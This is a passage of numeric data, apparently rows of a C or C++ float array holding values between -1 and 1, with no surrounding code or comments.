-0.645447937080250f, 0.548279343062761f, -0.289526240449473f, -0.506780094171335f, -0.901771170107367f, -0.437874075223813f, 0.748512212111141f, -0.529884246718074f, 0.924062132675193f, -0.365432219122282f, -0.263296006595835f, -0.927083881647913f, -0.192737974697553f, -0.450051159199964f, -0.543528645806642f, 0.834976909049276f, -0.426975046433596f, -0.361056079272416f, 0.883880063360531f, 0.680380429911630f, -0.553642515320953f, 0.548847108935282f, -0.357430246936948f, 0.210445016993628f, 0.949511601115471f, -0.611278947360487f, 0.344744934459962f, 0.0684247970496175f, -0.877154656281116f, -0.521992702610556,
-0.0303764312006813f, -0.647220068176984f, 0.693175336224119f, -0.0955602614554496f, -0.765579758912278f, -0.821318118938906f, -0.220936603794347f, 0.159013709512021f, 0.0222743973539492f, 0.569438412513281f, 0.896083437551563f, 0.973699071868637f, -0.403438951991928f, -0.976931032127622f, -0.0720613180573018f, 0.0788813367661694f, -0.430781354548607f, 0.580378296309349f, -0.175446689199481f, -0.256743557012462f, -0.696667845393283f, 0.870473046831235f, 0.146660713923108f, 0.277741407197705f, 0.502075064404417f, 0.396530064046844f, -0.000209092342246420f, -0.977003947244262f, 0.451457326960000f, 0.420509664462095f, -0.0826395067671402f, 0.461120688156973f, 0.786867285802415f, 0.429254905841222f, 0.894426863739026f, -0.670297281923597f, -0.833650409296060f, -0.908588009702110f, 0.516311115539149f, 0.975234001829324f, -0.532953533466378f, 0.775291582519158f, -0.0136022600428900f, 0.654817093112596f, 0.363512141498233f, 0.624779024037534f, 0.0237004661473674f, -0.172570506046968f, 0.401807838319043f, 0.997391258152958f, -0.553969395939123f, -0.415425175833161f, -0.758032843655304f, -0.482766088920005f, 0.637574309072414f, -0.729000055114342f, 0.699851428676091f, -0.827508053421131f, 0.900655803848482f, -0.431149800814228f, 0.0369409101983413f, -0.378608101457895f, 0.237564147838841f, 0.533020461112441f, -0.280269627508005f, -0.864065787343603f, -0.0381481642453043f, -0.566886547530062f, 0.539727700361167f, 0.166859339425035f, 0.850080295054718f, 0.384690146030125f, -0.384995288415294f, 0.303656036600558f, -0.580297619022502f, 0.0649069482840878f, -0.162922327392773f, -0.235019427063355f, -0.265468718118809f, -0.121827312187455f, 0.0416628805824146f, 0.343481543012411f, -0.251429566892972f, -0.868100204320718f, -0.802636407512128f, -0.549547579028752f, -0.570017983863503f, -0.853634311513627f, -0.564570567173235f, 0.955944215494794f, -0.0930750790375956f, -0.160319122401953f, -0.640886790354213f, 0.798634607857513f, 0.503051518023559f, 0.765247226736789f, 0.909476811674882f, 0.677590253114963f, -0.110641683440517f, -0.336445241915220f, -0.684064840782028f, 0.962285048920031f, 0.883303701653897f, 0.981819291389659f, -0.597290928759656f, 0.215792997443025f, -0.847656608719347f, 0.679887992445640f, 0.299901700372808f, -0.677306526467426f, -0.348340058872692f, 0.651490451411335f, -0.133387041637395f, 0.718311240322040f, 0.0869279817052975f, 0.155413706090559f, -0.869119988858735f, -0.566773040844476f, -0.0513826414151206f, -0.368087669232071f, -0.978175512831125f, -0.229213501073727f, 0.344608572405871f, -0.663307667219997f, 0.437238632879575f, 0.00205230197288353f, -0.0897076092856746f, 0.834529513214144f, 0.131872357342232f, 0.113081940417244f, -0.418620232731326f, -0.317993033651213f, -0.740303025960662f, 0.423423655701288f, -0.300833032468860f, -0.458960388256530f, 0.692670405117589f, -0.559944357561921f, 0.0168623577148430f, 0.568661331088367f, -0.385055363002398f, -0.356055436463140f, -0.794446573681063f, 0.908870080953069f, -0.295500656666577f, 0.800625150733729f, 0.206307902542489f, 0.729591183391974f, -0.0655746333947396f, -0.261707022686154f, -0.802380330579914f, 0.0812359238243023f, -0.00528231140765212f, -0.725740453383981f, 0.919076065030463f, -0.896497189839174f, 0.861919731820265f, -0.804273875755869f, 0.230339021648310f, 0.296779613186519f, -0.349872572510143f, -0.270230381483447f, 0.0368924200249658f, 0.581340248642417f, 0.943620537648739f, 0.715012058065301f, 0.528414993233909f, 0.695917111744314f, -0.634354198968852f, -0.483786223099716f, 0.565405035681248f, -0.530076864213017f, 0.363019522302994f, -0.825556544716473f, 0.891096876998683f, -0.990692760548295f, -0.450641405862313f, -0.597008073985341f, -0.464377765418678f, -0.942926913464693f, -0.871399725569805f, 0.232335933943403f, 0.858786794807406f, -0.528589179815518f, -0.324757177062634f, 0.595880088750788f, -0.976574570427974f, -0.423824220654658f, -0.832990206908489f, 0.198704682807118f, -0.168244652325292f, 0.843066822744011f, 0.0912498543932607f, 0.485570815146582f, -0.104653316420662f, -0.623461298489716f, -0.807713596811018f, 0.737782734425857f, 0.456364368166532f, -0.430703367862900f, -0.188953991637209f, -0.827984282695373f, 0.0246267653665548f, 0.891225605267640f, 0.910600867999638f, 0.345236086687552f, -0.600682365520065f, 0.833182106437698f, 0.213749250288017f, -0.0866339102562885f, -0.618385082289017f, 0.859527120927500f, 0.749978780964161f, -0.334770513867011f, 0.242140166670949f, -0.196268320459958f, 0.611789869603675f, 0.655057159657307f, -0.603759576722096f, 0.614654509385217f, 0.144145218488192f, 0.959930150756613f, 0.485009777784726f, -0.564230295010912f, -0.404716165405314f, 0.0442672151313601f, 0.929486639423805f, 0.409386317338224f, 0.527053707674182f, 0.899087569745327f, -0.933259779365388f, 0.265159475034860f, -0.858300862890810f, -0.870994388031662f, 0.354868177430506f, 0.00956840260511749f, 0.429740959889133f, 0.649668163567379f, -0.744532888765288f, -0.967499901569196f, 0.556703631745254f, 0.535130550118618f, -0.639502350153040f, -0.604586469532735f, 0.0799683564329623f, -0.156074786599444f, -0.348308700325411f, 0.217829052228100f, 0.545642400171123f, -0.303317700019152f, -0.473220675222451f, -0.239688108834945f, 0.0998500862725149f, -0.962734081833842f, 0.870743993144299f, 0.464578557934316f, 0.184511089576136f, 0.559729843314504f, 0.0702052363354577f, 0.632714874625648f, 0.212930743289312f, -0.454606863365109f, -0.592679055778218f, 0.287649993384466f, -0.457293694071368f, -0.423493046785686f, -0.0674763327876298f, 0.242131064298176f, 0.488581911885965f, -0.464567743213882f, -0.387515661812354f, -0.914585596974616f, -0.255803162310627f, 0.941267268311980f, 0.690278917089395f, 0.302397314111962f, -0.178461434689705f, -0.949279941481428f, 0.160440202901122f, -0.970582196769486f, -0.0119478205074164f, -0.206440255898676f, 0.221640403444713f, -0.819801447827624f, 0.263614394802488f, 0.616376195532700f, -0.596859494305351f, -0.118659509995453f, 0.458168997595326f, -0.0400474705134108f, 0.934465050133603f, -0.852936731989621f, 0.0191637795580570f, 0.298534793677081f, -0.857491630206749f, -0.0141198383157879f, -0.365027350962024f, 0.450964838023674f, 0.351383095290905f, -0.387039947149600f, -0.983994933095116f, 0.610531582220017f, -0.0446025524732094f, 0.216718014780746f, -0.676819246943449f, 0.0385619292249610f, 0.192482456707739f, -0.288809653393521f, 0.241774557042318f, -0.444638770943313f, 0.535319194413803f, 0.374773141606987f, 0.186364279454450f, 0.0701814972821988f, -0.452753172654203f, -0.350918291268194f, -0.332963791049667f, 0.179301863965318f, 0.954101654404080f, -0.687960044344130f, 0.611454049205213f, -0.696789567124132f, -0.551566492897529f, 0.656434797122885f, -0.601779335396959f, -0.265656331560395f, -0.528821434638507f, 0.153601151147409f, 0.514739334540489f, -0.0517769842323894f, -0.659246830986894f, -0.453055366696259f, -0.0515886000780059f, 0.958478845408115f, 0.0221452906045994f, -0.159960643390796f, 0.816263632871352f, 0.245244170325114f, -0.0919839688704780f, 0.947170598807362f, 0.846772793441790f, 0.247105133025056f, -0.801972939368103f, -0.224977420586025f, 0.130099925027197f, 0.497816036746753f, 0.308139730113712f, -0.0536876417759813f, -0.492022090866895f, 0.188938438822753f, -0.400894058284033f, 0.314370104391157f, 0.618580768947071f, 0.830051263404639f, -0.228700130023340f, 0.811855169643177f, 0.0924092179787017f, 0.273652523319809f, -0.0624274843235475f, -0.503696982048589f, 0.510545161203341f, 0.341823133345436f, -0.437486933663093f, 0.0134072800031224f, 0.613837993234983f, 0.740945655313894f, 0.135311460882606f, 0.464832228842466f, -0.973962843371452f, -0.519388256678232f, 0.631469277357519f, -0.936937468616713f, 0.208677911871604f, -0.0946010975796272f, 0.560587233611855f, 0.230925763372331f, -0.637408482848184f, -0.679175194353885f, -0.408696637706987f, -0.0837464598184048f, -0.911070817707239f, 0.985815432104941f, -0.208807972878988f, 0.741966810464688f, 0.162772839973564f, 0.717702638881939f, 0.490767958961575f, -0.835565390813677f, -0.878516167634055f, -0.956727838876563f, -0.00772081382858891f, 0.355227897612178f, 0.202889185809854f, -0.431078767653467f, 0.106936101717808f, 0.354494042302258f, -0.619623833602791f, 0.193065593078352f, -0.105803087758606f, 0.151828327005194f, -0.141094922099930f, 0.847569902283069f, -0.656683924792181f, -0.880754505470701f, -0.421714047610595f, 0.681762288858050f, 0.633712681698887f, 0.947060360650644f, -0.959122611588459f, -0.0690574969687099f, -0.805062392278087f, 0.226501754467861f, -0.414732397455275f, 0.242398867364043f, -0.831838824773804f, 0.00787391802290793f, -0.860692119913991f, -0.391321299589110f, -0.0548681430681355f, -0.992920640472037f, 0.0975642331777702f, 0.894630836703243f, 0.767919825689366f, -0.260878774442215f, 0.407457430171103f, 0.140688657702825f, 0.737494845272763f, -0.650969054257040f, 0.230613259000797f, -0.0986876345046772f, 0.0996951163848971f, -0.679173062298700f, -0.760174222364469f, -0.613840714529317f, -0.692138390397415f, -0.0919103790884603f, 0.0259548517830916f, 0.463763807478796f, -0.859327137970617f, 0.298600182982665f, -0.591236092977368f, -0.994984881037264f, -0.0533840054951049f, 0.544979189292485f, 0.652482875230260f, 0.897548627394727f, -0.340241293753474f, 0.508237349558163f, -0.611986702936889f, -0.399952468536369f, -0.758494484998191f, -0.148960755782999f, 0.895231513826071f, -0.870487943961511f, -0.172763884748068f, -0.652702954266129f, 0.784450103085903f, -0.428504279168614f, -0.347266234450861f, -0.0897193897382391f, 0.760686883857503f, -0.0863659842493281f, -0.453544362916610f, 0.713112885874267f, -0.529914378597266f, -0.134507787695203f, -0.590955798880753f, -0.372583442870916f, 0.646730663631020f, -0.809515553972267f, 0.0226873348847205f, -0.209338539804651f, -0.737170063193136f, 0.365916689978321f, 0.658019395382111f, 0.733982378695990f, -0.579926149814113f, 0.973814182111372f, 0.933875763922095f, -0.985234946636757f, -0.103124599698243f, -0.798304574918884f, -0.119705341414667f, 0.205941898284561f, 0.111088288053652f, 0.418598493379981f, 0.309112287901667f, 0.0865232803642195f, -0.281174085998345f, -0.158426951248790f, 0.156672456990889f, 0.608691108739118f, -0.124654784531448f, -0.372060827503666f, 0.555750853569654f, -0.481715370485256f, 0.411012047999522f, 0.265636511301544f, 0.164466400718006f, 0.427292785417094,
-0.407665783814271f, 0.0463239131527564f, 0.0109249300633605f, 0.0949704798708169f, 0.223291931618591f, 0.708651599857453f, 0.810927407452143f, -0.298811874805995f, 0.347215272448441f, 0.778225160999446f, -0.981258755328673f, -0.629231280170021f, -0.948786159268210f, -0.0530522786747270f, -0.665046033882002f, 0.776993795678436f, -0.604492154463805f, -0.906360689482177f, 0.543616910115371f, -0.501547360013149f, 0.571784796850774f, 0.868511495621889f, 0.783008382563488f, 0.571870376568081f, 0.0471150346240308f, 0.402433510592678f, 0.661353159662286f, 0.0253381317208246f, 0.720141243708461f, -0.478805385943742f, 0.989639021624774f, 0.538614599364854f, -0.282810721919526f, 0.888399971333007f, 0.118572990347886f, 0.564528382703688f, 0.988296121763412f, 0.509638594649021f, -0.797738059997026f, 0.0363326380089621f, 0.978315833815278f, -0.483368013204689f, 0.879051054425480f, 0.632539830439323f, 0.722677742708361f, 0.578919286433726f, -0.250721628167261f, 0.534435049744896f, -0.0404568429105234f, 0.00805525426120179f, 0.841210870775473f, -0.731771544679396f, 0.713758914490801f, 0.830250762535296f, 0.436563669872217f, 0.567024378980237f, 0.983941121609744f, -0.253548560865555f, 0.647105012325159f, 0.434994339049196f, 0.130837710207442f, -0.775136733344706f, 0.234917279141211f, -0.498429841761386f, -0.273571256415041f, 0.247467425899991f, -0.970396693506149f, 0.975835855884816f, -0.347896516486866f, -0.552856369180847f, -0.887336234316568f, -0.573271015958957f, 0.910862901097874f, -0.807236601077904f, -0.523971593712952f, -0.263589563369279f, 0.591056276091253f, -0.320168527954128f, 0.726795865615521f, -0.731502115921006f, -0.942225519371229f, 0.268573107637337f, 0.380348127119473f, -0.284539943611895f, 0.117478291379931f, -0.817442486350524f, 0.0734705767013011f, -0.626880755668906f, -0.873066996524459f, -0.528675805715351f, 0.490255491577847f, 0.398142666604162f, -0.911320079669940f, -0.870350237514323f, 0.854587452657144f, 0.736349579728106f, 0.948232845958681f, -0.00126774478569258f, 0.905641169934000f, -0.965500575551565f, 0.0831330388550517f, -0.892713267782484f, -0.277958019172831f, 0.312987842344813f, 0.484268977417485f, -0.365960524226328f, 0.177956605738091f, 0.913776767689874f, -0.897537691614058f, 0.473075982698961f, 0.913190042662185f, -0.00843862630950820f, 0.972679442298938f, -0.856058592202917f, 0.264007224067230f, -0.138444823656136f, -0.386195416368251f, -0.286657907928107f, -0.231200657384828f, 0.917365701941188f, -0.271317547281263f, -0.252691685075831f, 0.893742787021399f, 0.512463051119608f, 0.979155111008605f, -0.472272776864686f, 0.238767541974988f, -0.672234403865928f, -0.846783135777377f, 0.0877594573148737f, 0.493055606176910f, -0.289012308379085f, 0.416463895880697f, -0.0795051375851281f, -0.476692131327163f, -0.430471976159529f, -0.701875030095239f, 0.724684336417516f, 0.984802039066595f, 0.798285421773762f, 0.000509924988974175f, -0.0852199551444761f, -0.709724122158260f, -0.332735158942919f, -0.741119907407496f, 0.729608513555970f, 0.500578022862182f, 0.520862987462710f, 0.565678561009731f, -0.393741545311224f, -0.568866018100912f, 0.571654318026290f, -0.817900961532165f, -0.793268461448962f, 0.614914392385859f, 0.763415306986536f, 0.450074180772758f, -0.737435729799608f, 0.841185794339245f, 0.894276069286366f, -0.276262284222369f, -0.798623475612628f, -0.280994234105732f, 0.821175230597885f, -0.474251640366966f, -0.190039801864015f, 0.0663032720971493f, 0.884162053156770f, -0.162023139878049f, -0.963135153785511f, -0.582213329804047f, -0.328536493809765f, -0.938405687658462f, -0.0171569611327957f, -0.727260847907578f, 0.419920927745257f, -0.361592243835530f, 0.476989471873569f, -0.146161675185107f, 0.431817832405826f, -0.371528849369885f, -0.940567978751516f, 0.165203770962029f, 0.781321525273307f, 0.0585592625092357f, 0.573299596753579f, -0.378869924017182f, 0.523139576520889f, 0.385605607116478f, -0.235893429970747f, 0.285814921067909f, -0.121941292771133f, 0.621558611608942f, -0.0860979132283732f, -0.627097832687809f, -0.312083243705910f, -0.494490796681559f, -0.987187334387934f, -0.0804474888246625f, 0.496400656176795f, -0.851811189314651f, -0.791398271297849f, -0.868174317799275f, -0.226794668997878f, -0.335339474552766f, -0.276765924750817f, -0.395876032147377f, -0.740529136126816f, -0.167799472110453f, 0.593129248263724f, 0.336783120133436f, 0.248892158925787f, 0.950120283075237f, -0.795216613504226f, -0.574731116508357f, -0.822689608026685f, 0.973698546284335f, 0.125166556654624f, 0.588150318080073f, 0.128654744345192f, -0.219207714307262f, -0.271053050307713f, 0.124071241265810f, -0.618209718015327f, -0.766619799595349f, -0.478340220431165f, -0.446873929629545f, 0.978019432749647f, -0.627041040766022f, 0.169323691066764f, -0.714079827532216f, 0.386101296128268f, -0.360225804976135f, -0.236797717782837f, -0.311635747131794f, 0.0482888201705840f, -0.477302740867809f, -0.427349080854399f, 0.390352470816329f, 0.611790541936623f, -0.648292156214605f, -0.345871618789073f, 0.509300603302844f, -0.0142202703124219f, -0.570248077753979f, -0.0629178211029751f, -0.737806048037047f, 0.497750084049821f, -0.761650107803135f, -0.788756591098617f, -0.994497286039420f, -0.987344273533962f, 0.657151987467984f, -0.763708299084062f, -0.0729359162118841f, 0.0455275633022023f, -0.101919187896584f, 0.457804242981095f, 0.0117715388281796f, -0.274125197027132f, -0.949738804931191f, 0.762108173886486f, 0.405150754308562f, -0.733330375873553f, -0.712774896799572f, -0.791947616412901f, 0.444023894424500f, 0.00507562975249609f, -0.900698136223538f, -0.576055334977054f, -0.948895529956106f, -0.832665060374124f, -0.992753953473078f, -0.0674086978315183f, 0.569494111501383f, -0.962269067721443f, -0.489700810475570f, 0.972626508328545f, -0.777400448149780f, 0.115588644128954f, 0.0730469703310024f, 0.523584488072518f, 0.659055312807301f, 0.134198234373838f, -0.797833055125151f, -0.167842823235145f, -0.662347837139732f, -0.537544370279756f, -0.622353549740796f, -0.789789664448618f, 0.985300123665319f, 0.862449845163424f, 0.973193986256980f, 0.148883268671144f, 0.283619537155083f, 0.508503183151258f, -0.246167305966866f, -0.259543094514413f, -0.778029136807597f, 0.128978622849116f, -0.920978818238085f, -0.116324837544276f, -0.261472397833253f, 0.772449038068069f, -0.696754008784325f, 0.980778877985902f, -0.227636956328402f, -0.472493776528032f, -0.568519858000960f, -0.151689463117960f, -0.102997587484899f, 0.464752146042376f, -0.839114793935065f, -0.0325074343587592f, -0.180618880765978f, 0.0132253638432844f, -0.646173464496730f, 0.821983901071593f, 0.657453744559881f, 0.786315172070382f, -0.438718096604728f, 0.702691078885442f, 0.859957412428682f, -0.505281395658564f, -0.236722160990303f, -0.698465568366759f, -0.746418979540090f, -0.218205126412646f, -0.808715244840435f, -0.949813739800491f, 0.176975348790769f, 0.723960974918154f, -0.139253733704369f, -0.387224393658603f, -0.869945438924443f, -0.396979039594941f, 0.0256060022407458f, -0.566074790002811f, -0.161564565183606f, -0.736189868188370f, -0.205593811665825f, -0.628996407588712f, -0.0266462623004120f, -0.344127255771429f, -0.229003801178142f, -0.469786561635510f, 0.258249378153965f, 0.160442939158622f, 0.0528817242116550f, 0.261960766261548f, -0.571069557415276f, 0.411333771884545f, -0.145205354714326f, 0.249324532476397f, 0.163889600722793f, 0.649915677347011f, 0.147077371087195f, -0.227104208942068f, 0.867390199578604f, -0.0734153565896754f, 0.0491208061060167f, 0.0360590744216485f, 0.181620126101180f, 0.0567549454976457f, -0.856976992549465f, -0.242511192726339f, -0.624770508991394f, -0.793161214564285f, -0.251208532727981f, -0.833192309869275f, 0.368166434661069f, 0.939730260791580f, 0.305796202211942f, -0.598830491282818f, -0.0575368190467946f, 0.371329658849021f, -0.227872714677810f, 0.707539568196379f, 0.795186297468385f, 0.475847791658551f, 0.829361555893632f, 0.405386540930889f, 0.213282954068900f, 0.767339023510319f, 0.525055513018554f, 0.259437496637378f, -0.524342591286100f, -0.731515526086696f, -0.233118783725590f, 0.237972339628935f, -0.933985285078109f, 0.537013420173496f, 0.498819465200784f, -0.407713459607516f, 0.382821417923595f, -0.416894700661466f, 0.0787266904103943f, -0.0627973593192392f, -0.320105342653426f, -0.844066834407447f, 0.138221622417319f, -0.676665423871596f, -0.961043785105959f, 0.832268610130385f, -0.905530890441773f, -0.114191325652611f, -0.376697124207843f, 0.390323137798417f, 0.953143142925101f, 0.983427991280007f, -0.0895687386326503f, -0.681543125061097f, 0.677131540142176f, -0.867715848764628f, -0.812718786220309f, -0.212509939486840f, -0.990002327123638f, -0.0682855560011961f, 0.129310729289606f, -0.623746296335073f, -0.285580241032587f, 0.235626081900812f, -0.611973228709249f, 0.539189737955466f, 0.970058678533189f, 0.901944358898624f, 0.168094826408153f, -0.666711281252260f, 0.965612752173968f, 0.651034558458719f, 0.687501917067508f, 0.758614314567106f, -0.839396045781239f, -0.552775028233564f, -0.528941743867256f, 0.174761156721889f, 0.243585712774679f, 0.588913151268911f, -0.306898192880627f, 0.921540023069231f, -0.0223654942298541f, -0.102408576957649f, 0.612577852207921f, 0.835809058447089f, -0.437118459197839f, 0.455316033239981f, 0.311435507416257f, -0.648992336007256f, 0.346823844785409f, -0.632080213667648f, -0.599678627679202f, -0.653822991854328f, 0.484305292443427f, 0.782046295685087f, 0.960987598814982f, 0.627169162605570f, 0.948092598306120f, -0.185268381817018f, 0.602489977060513f, -0.885827813790617f, -0.00179203147433582f, -0.175476447614991f, 0.0461282236560925f, -0.898013889602944f, 0.256310837914276f, -0.733422110056865f, -0.740091677658095f, 0.966724540497493f, 0.328056986822768f, -0.267854591449557f, 0.670545831663244f, -0.356204313297688f, 0.0729865206358908f, -0.594530723723669f, 0.519965324048968f, 0.0632129606097647f, -0.878434885663544f, -0.497945943395010f, 0.0151854050905818f, -0.218036856012343f, 0.547721213710874f, -0.0915514918588898f, -0.279344098401951f, -0.228654882218650f, 0.100432155997130f, 0.802024600677294f, 0.175832345686877f, 0.0551231013299744f, 0.938247319394824f, 0.639298571360036f, -0.291461603371678f, -0.853503115314794f, -0.604829242631156f, 0.0291571486740745f, -0.932575328418390f, -0.621235088415116f, 0.403040314052094f, -0.809695618266849f, 0.966605888732736f, -0.199254401023053,
-0.540808222970056f, -0.0141840769249790f, 0.114579158224093f, 0.466889318471371f, -0.145415211797766f, -0.846707387707480f, -0.881237200733915f, -0.410798723199712f, -0.637697860299854f, -0.196366036081372f, 0.193267531425712f, -0.258591200841940f, -0.173003722066551f, 0.478121376006132f, 0.953819951501542f, 0.969916001975448f, 0.131515861287576f, -0.499829658784781f, 0.320952777516193f, -0.226980682212371f, 0.766886115655233f, 0.647310434110803f, -0.772594685974992f, 0.772645949480187f, -0.936357605801364f, -0.671842916281206f, -0.595127074295355f, 0.335132581825520f, 0.648964430112689f, -0.793376819398441f, -0.963663232647360f, 0.914308824314478f, -0.397663128784982f, 0.803240040231588f, -0.291039120047626f, -0.339918835846510f, -0.208620988780609f, 0.278177231697424f, -0.833157746552451f, 0.260554706029473f, -0.580537744139231f, 0.918561093477862f, 0.641368468308093f, 0.827379039283645f, -0.412231303854834f, -0.518315486749742f, 0.423356687848085f, 0.0777277584993787f, 0.394127392657178f, 0.609705410002715f, 0.264669032561337f, -0.460555696512027f, -0.0858908123066196f, -0.281781559603429f, -0.179777723960362f, -0.00449990348855067f, 0.803703377739133f, -0.155074032314596f, -0.00206139428833696f, 0.0661730930565525f, -0.737509215752079f, 0.620182143819587f, 0.114750705414661f, 0.545663051433958f, 0.661601724477194f, -0.592280382351976f, 0.609240020031149f, -0.968781019917808f, -0.668068368389875f, 0.206915551463500f, 0.0951453192552747f, 0.268580107578401f, -0.0450052302342363f, -0.933589842483940f, 0.236570492858402f, 0.0688734168318912f, 0.930163232697303f, 0.435953476823146f, 0.533759385687075f, 0.368282038662015f, -0.602312961473778f, 0.709516631712345f, -0.168303926671961f, 0.130670870119294f, -0.657736111745007f, 0.115028598388756f, 0.173728026281032f, -0.681671363429886f, -0.538786035950873f, 0.481457671665448f, 0.0136795278434168f, -0.570065342244344f, 0.188187050857249f, -0.352869308173680f, -0.979175308628854f, 0.223702879460018f, 0.994220466087713f, -0.147795166105729f, 0.218427535879435f, -0.120050826084179f, -0.0124939247430063f, -0.645134875027126f, -0.503122688484778f, 0.534123007328982f, 0.619710972635444f, -0.234248243706177f, 0.987144458053815f, 0.261284702576427f, 0.851827092094236f, 0.750019654249059f, -0.926154630610335f, 0.449356103243440f, 0.783011320523296f, -0.459228158107270f, -0.228877816937867f, 0.271108937592868f, -0.676085611673506f, 0.783114428240160f, 0.636093784021493f, -0.754110314308629f, -0.546386104880684f, 0.0385811136139234f, -0.768951137117397f, -0.644624743947807f, 0.00890157035391148f, -0.0792572116273387f, -0.989980668770044f, 0.603057533157075f, 0.280835727469123f, -0.634716709420524f, -0.712669415138995f, -0.424129916157595f, -0.436923748487354f, 0.467366013559791f, 0.907740481011987f, 0.788617065944311f, -0.152237692069130f, -0.963044404518533f, 0.907393322909416f, 0.806867676446313f, 0.699270310021791f, 0.107867603776547f, 0.127360747415417f, -0.502645789696788f, -0.511744166872327f, -0.121672719343072f, -0.596527146770249f, 0.410180172377510f, -0.852889849908704f, 0.278972213674154f, 0.0260156356783650f, 0.997558501949683f, -0.499245840292893f, -0.451169267624132f, -0.881643497362337f, 0.986957209874262f, -0.129608292321380f, 0.935829016346258f, -0.649021465281634f, 0.550436689069794f, 0.278888743082679f, 0.0137769346664500f, -0.660666060213522f, -0.416709136728042f, -0.302903068397225f, 0.180657445835459f, -0.908195955986293f, 0.280056533234627f, -0.660025789034158f, -0.798207438952561f, 0.901575224780405f, -0.608702932295102f, 0.318860199910414f, 0.874005722023406f, -0.0816057579181704f, 0.981671341873017f, -0.339234700161323f, 0.559717959858931f, 0.390363525109105f, -0.309384476087470f, 0.956563156784297f, -0.623734354817613f, -0.196627375289105f, -0.702076014509088f, 0.293098766889643f, -0.617152224560368f, 0.859117491438645f, 0.661015739867647f, 0.0747554166353739f, -0.282417009682732f, -0.667461537762524f, -0.451029960388404f, -0.464518668674360f, 0.591389440503293f, 0.552648871601186f, -0.242406315814918f, 0.147876771864331f, -0.00605730052917419f, -0.850648363553678f, -0.659957159486993f, -0.165475362851332f, 0.204150315434812f, -0.665767311591476f, -0.716154682563576f, 0.417487456932076f, 0.448184990956287f, 0.733843802413198f, -0.170228277851921f, -0.346809954182150f, 0.956058632188011f, 0.0315623945930987f, 0.509027121691627f, -0.147826185909834f, 0.717423768198044f, -0.153258078639530f, -0.586190749016474f, 0.122228033051868f, -0.884999045468193f, -0.364729711773548f, 0.0869976154696972f, -0.793532199218799f, 0.533748273468951f, -0.852754376244435f, 0.294752047699830f, 0.136764278163013f, 0.838074791168389f, 0.795224598541123f, -0.778005568697498f, -0.260924769562304f, -0.303759147861313f, 0.273726011325558f, 0.530476779331216f, 0.0866801234357086f, 0.0677702376031544f, 0.724353404182035f, -0.974710312543683f, 0.791838170482991f, 0.247768259921660f, 0.979431048271259f, -0.386992541899814f, 0.0640038231299192f, -0.00457726816166693f, 0.371455553726539f, 0.647649995487707f, 0.268304945808406f, -0.320428608173924f, 0.0927511620029309f, 0.256010036486838f, 0.740396212690346f, -0.656873241472848f, 0.823534292439413f, -0.820380362458844f, -0.453300307443023f, 0.784238355222248f, 0.912791840124321f, 0.0999478035440859f, -0.212620916988855f, 0.0170290625008669f, -0.589062380565879f, -0.171833624145497f, -0.524918122866141f, 0.961528292650892f, 0.101262818636430f, 0.941455114569308f, -0.967226220138929f, 0.616781547648562f, -0.913823148383971f, 0.274508821885917f, 0.924653374107756f, -0.866302908989783f, 0.227541907715857f, 0.0907574361370582f, -0.127499097943315f, -0.942071371521895f, -0.119419163649152f, 0.674284088819523f, 0.881328505929745f, 0.246290207551702f, 0.0547607254148590f, -0.462882918359077f, 0.888969728230585f, 0.666583509571921f, 0.238417203582380f, -0.279842248122727f, 0.855260336845903f, 0.314306869401155f, -0.188654877893078f, -0.609304918228150f, 0.169453885325888f, 0.265617874907016f, -0.943423537926184f, 0.493118676869450f, -0.386147750024858f, 0.0103920154342951f, 0.753677832518483f, 0.363353012331066f, -0.286620106520429f, -0.623332994906295f, 0.183966714365642f, -0.124278942882867f, -0.687889346448110f, -0.509002319646341f, -0.705769785650865f, 0.600586126467172f, 0.814989294939922f, 0.198959025256652f, 0.477897007911356f, 0.757957814363899f, 0.617755921094230f, -0.353589871947529f, 0.419688673189503f, -0.860584865805600f, -0.0232779635193843f, -0.789951030889387f, -0.893196700185750f, 0.610996462535201f, 0.847373590985131f, -0.989553358501822f, -0.367651771428081f, 0.741563712056747f, -0.923595352848971f, -0.580174215739367f, 0.577092000574232f, -0.910872910110270f, -0.907499077314190f, 0.692372247654077f, 0.810694134592084f, -0.608596332548047f, 0.761254615051625f, 0.0546240611947364f, -0.393956427117691f, -0.116127831535139f, -0.0352014590913388f, 0.374742194768889f, -0.927344099730091f, 0.939301337232488f, -0.969831716293845f, -0.0489333404770240f, -0.586719398908953f, 0.0235541378462407f, 0.388882981728285f, -0.0728483242295113f, 0.418280445244943f, -0.574289337805456f, -0.779962057565259f, -0.835190719754123f, 0.918717316922657f, -0.765889988109173f, -0.935310664146932f, -0.0750906135370848f, -0.256246546197534f, 0.693865929543926f, 0.592800255527084f, 0.836743344551035f, -0.801953470827580f, 0.0595524153568945f, 0.158376549012192f, -0.429364776412726f, -0.450531184162532f, -0.169317185285268f, 0.420344570579195f, -0.902838087574441f, -0.654676904337469f, 0.941802178622893f, -0.411034608875500f, -0.455381371659872f, 0.582371240315256f, -0.276150504466756f, 0.164276403376185f, -0.960238817086774f, 0.590055303394028f, -0.995185688656226f, -0.285809748360467f, -0.792066171752882f, -0.456123303649101f, -0.864169187700384f, 0.798745251308383f, -0.517673464079948f, 0.523086536900369f, 0.398784615211052f, 0.908677185333852f, -0.434846969584770f, -0.277024535706464f, 0.575800013122065f, -0.0423952171673019f, -0.327530749916683f, -0.401220909875065f, -0.232577533032385f, 0.577630268254944f, -0.733290201484409f, -0.297499739456838f, 0.166541885572822f, -0.646828619904039f, 0.0312662656272755f, 0.754145050600965f, -0.908499825108811f, 0.315379190361296f, 0.366242661082351f, 0.867903806940678f, -0.613391940567782f, 0.00760147209048068f, 0.953424134034927f, -0.812551125910811f, 0.734998935207065f, 0.781720854678504f, -0.653974423413561f, 0.612587888218526f, -0.297359914095386f, -0.409559158758694f, -0.143962230212734f, -0.814888102841114f, 0.359131810502055f, 0.356924557741016f, -0.872415989401612f, 0.716849887848809f, -0.374916928585818f, -0.0702264435280595f, 0.329843438660215f, 0.0956097573088677f, -0.937528128860310f, -0.322293489817529f, 0.781444964993177f, -0.810141738751828f, -0.150295079242497f, 0.846909181293597f, -0.128124277517711f, -0.752611695817661f, 0.839996835828451f, -0.0705685941510277f, 0.000366462394740585f, 0.0788016995849923f, -0.246053200655556f, -0.156645099915028f, -0.460752333796863f, 0.622021359864204f, 0.722871957583123f, -0.257873353238499f, -0.309810184480446f, 0.765248644407833f, -0.553316047243663f, -0.612742789838491f, 0.354017349601509f, 0.923293368553697f, 0.630695912377860f, -0.148750121613537f, -0.821801680234240f, 0.368247966228196f, 0.405416044101496f, -0.803232509711354f, -0.429778551911399f, -0.723837414527446f, -0.963925147452133f, 0.190882872226757f, 